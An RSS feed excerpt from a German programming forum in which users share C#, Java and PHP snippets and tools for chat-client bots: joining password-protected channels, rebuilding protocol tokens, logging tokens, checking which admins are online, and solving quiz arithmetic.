<span style="color: #0000BB">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">case&nbsp;</span><span style="color: #DD0000">"k"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort&nbsp;notwendig"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*Parameter:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;0&nbsp;-&gt;&nbsp;Channel&nbsp;in&nbsp;den&nbsp;wir&nbsp;wechseln&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;1&nbsp;-&gt;&nbsp;Channel&nbsp;in&nbsp;dem&nbsp;wir&nbsp;uns&nbsp;befinden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;2&nbsp;-&gt;&nbsp;Passwort&nbsp;von&nbsp;dem&nbsp;Channel&nbsp;in&nbsp;den&nbsp;wir&nbsp;wechseln&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Send</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"cp\0{0}|{1}|false\0&nbsp;&nbsp;OK&nbsp;&nbsp;\0{2}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel_Pass</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Ganzer Source (Konsole):<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">secured_channel_login<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;c&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;Channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;Channel_Pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">OnTokenReceived&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ReceivedHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">c_OnTokenReceived</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Login</span><span style="color: #007700">(</span><span style="color: #DD0000">"nick"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"pw"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"channel"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;c_OnTokenReceived</span><span style="color: #007700">(</span><span style="color: #0000BB">Object&nbsp;sender</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;rawToken</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">token&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">rawToken</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\0'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"u"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Zum&nbsp;Testen&nbsp;einen&nbsp;Passwort&nbsp;geschützten&nbsp;Channel&nbsp;eingeben!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Channel&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Das&nbsp;Passwort&nbsp;eingeben!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Channel_Pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Channel&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #DD0000">"/go&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"k"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort&nbsp;notwendig"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*Parameter:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;0&nbsp;-&gt;&nbsp;Channel&nbsp;in&nbsp;den&nbsp;wir&nbsp;wechseln&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;1&nbsp;-&gt;&nbsp;Channel&nbsp;in&nbsp;dem&nbsp;wir&nbsp;uns&nbsp;befinden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;2&nbsp;-&gt;&nbsp;Passwort&nbsp;von&nbsp;dem&nbsp;Channel&nbsp;in&nbsp;den&nbsp;wir&nbsp;wechseln&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Send</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"cp\0{0}|{1}|false\0&nbsp;&nbsp;OK&nbsp;&nbsp;\0{2}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">.</span><span style="color: #0000BB">Channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Channel_Pass</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-in-pw-geschuetzten-channel-einloggen-30399</guid>
		</item>
		<item>
			<title>Eingehende Tokens manipulieren</title>
			<link>sourcecode-91/eingehende-tokens-manipulieren-31685?goto=newpost</link>
			<pubDate>Thu, 24 Mar 2011 16:30:57 GMT</pubDate>
			<description>Viele haben ein Problem damit eingehende Tokens zu manipulieren ohne das Popup-Token dabei zu beschädigen. Beim k-Token ist \0 kein Delimiter (mit...</description>
			<content:encoded><![CDATA[<div>Viele haben ein Problem damit eingehende Tokens zu manipulieren ohne das Popup-Token dabei zu beschädigen. Beim k-Token ist \0 kein Delimiter (mit Ausnahme des ersten), wenn man den StringTokenizer in einen String umwandeln will muss man also darauf achten, dass man kein zusätzliches \0 an den einzelnen Tokens dranhängt.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">String opcode = tokenizer.nextToken();<br />
StringBuilder buffer = new StringBuilder(opcode);<br />
<br />
while (tokenizer.hasMoreTokens()) {<br />
&nbsp; &nbsp; if (!opcode.equals(&quot;k&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer.append(&quot;\0&quot;);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; buffer.append(tokenizer.nextToken());<br />
}<br />
<br />
String token = buffer.toString();<br />
// Jetzt kann man das Token manipulieren.<br />
process(new StringTokenizer(token, &quot;\0&quot;, token.startsWith(&quot;k\0&quot;))); // Methode heißt bei euch möglicherweise nicht process, müsst ihr anpassen. Wichtig ist, dass man dem StringTokenizer mitteilt, dass er \0 nicht weglässt wenn es sich um das Popup-Token handelt.</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/eingehende-tokens-manipulieren-31685</guid>
		</item>
		<item>
			<title><![CDATA[[C# OS] Get OnlineAdmins]]></title>
			<link>sourcecode-91/c-os-get-onlineadmins-29876?goto=newpost</link>
			<pubDate>Tue, 08 Mar 2011 22:39:38 GMT</pubDate>
			<description>Nabend, 
 
dieses Tool ist auf die Nachfrage von folgendem User entstanden: 
 
 
---Zitat von canon211--- 
Gibt es ein Tool oder einen Befehl, mit...</description>
			<content:encoded><![CDATA[<div>Nabend,<br />
<br />
dieses Tool ist auf die Nachfrage von folgendem User entstanden:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div>
				Zitat von <strong>canon211</strong>
				
			</div>
			<div class="message">Gibt es ein Tool oder einen Befehl, mit dem bzw. wie man als <b>nichtcm</b> prüfen kann, welche Admins on sind?         </div>
			
		<hr />
	</div>
</div>Man gibt Nick, Pw, Channel ein und dann sendet der Bot alle 2,5 Sekunden /w Admin und prüft ob dieser Online oder Offline ist. Admins die Online sind, können auf Wunsch gespeichert werden.<br />
<br />
Die fertige Datei ist im Ordner &quot;Binary&quot; und die Source im Ordner &quot;Source&quot;.<br />
<br />
<u><font color="Black"><b>Screen:</b></font></u><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6636&amp;d=1392277347" border="0" alt="Name:  unbenanntwh6s.jpg
Hits: 300
Größe:  64,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<u><font color="Black"><b>Download:</b></font></u> <a href="http://ul.to/66iseiln" target="_blank" rel="nofollow">Get Admins</a><br />
<br />
Have Fun.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6636&amp;stc=1&amp;d=1392277347" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-os-get-onlineadmins-29876</guid>
		</item>
		<item>
			<title><![CDATA[[C# OS] TokenLogger]]></title>
			<link>sourcecode-91/c-os-tokenlogger-31985?goto=newpost</link>
			<pubDate>Mon, 07 Mar 2011 16:39:55 GMT</pubDate>
			<description>Hey, 
 
hier habt Ihr eine Projektmappe für einen TokenLogger. Die Tokens werden in jeweils 2 Ordnern gespeichert - Input / Output.  
Hab ich vor 1-2...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
hier habt Ihr eine Projektmappe für einen TokenLogger. Die Tokens werden in jeweils 2 Ordnern gespeichert - Input / Output. <br />
Hab ich vor 1-2 Monaten für den MKClient mal gemacht. Finde ich ziemlich nützlich wenn man die Tokens parsen will.<br />
<br />
<font color="Black"><u><b>Screen:</b></u></font><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7484&amp;d=1397101842" border="0" alt="Name:  unbenanntzik4.png
Hits: 650
Größe:  45,9 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<font color="Black"><u><b><br />
Download:</b></u></font> <a href="http://www.xup.in/dl,29308882/TokenLogger.rar/" target="_blank" rel="nofollow">TokenLogger C# Projektmappe</a><br />
<br />
Falls Ihr Fragen habt, posten.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7484&amp;stc=1&amp;d=1397101842" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-os-tokenlogger-31985</guid>
		</item>
		<item>
			<title><![CDATA[[PHP] QuizCalc (Quiz-Rechenfragen-Script)]]></title>
			<link>sourcecode-91/php-quizcalc-quiz-rechenfragen-script-32205?goto=newpost</link>
			<pubDate>Mon, 07 Mar 2011 10:16:33 GMT</pubDate>
			<description><![CDATA[hi, kleines script zu quiz-rechenfragen. 
 
 
PHP: 
--------- 
<?php 
  function calcWithMode($mode, $num1, $num2) 
  { 
    if($mode == 1) 
     ...]]></description>
			<content:encoded><![CDATA[<div>hi, kleines script zu quiz-rechenfragen.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;</span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">calcWithMode</span><span style="color: #007700">(</span><span style="color: #0000BB">$mode</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$mode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$mode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$mode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$mode&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">$num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;function&nbsp;</span><span style="color: #0000BB">quizCalc</span><span style="color: #007700">(</span><span style="color: #0000BB">$qCalc</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$qCalc</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">":"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">"Nennen&nbsp;Sie&nbsp;die&nbsp;gesuchte&nbsp;Zahl"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$qCalc</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">":"</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"???"</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$qCalc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">substr</span><span style="color: #007700">(</span><span style="color: #0000BB">$qCalc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">30</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$num1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: 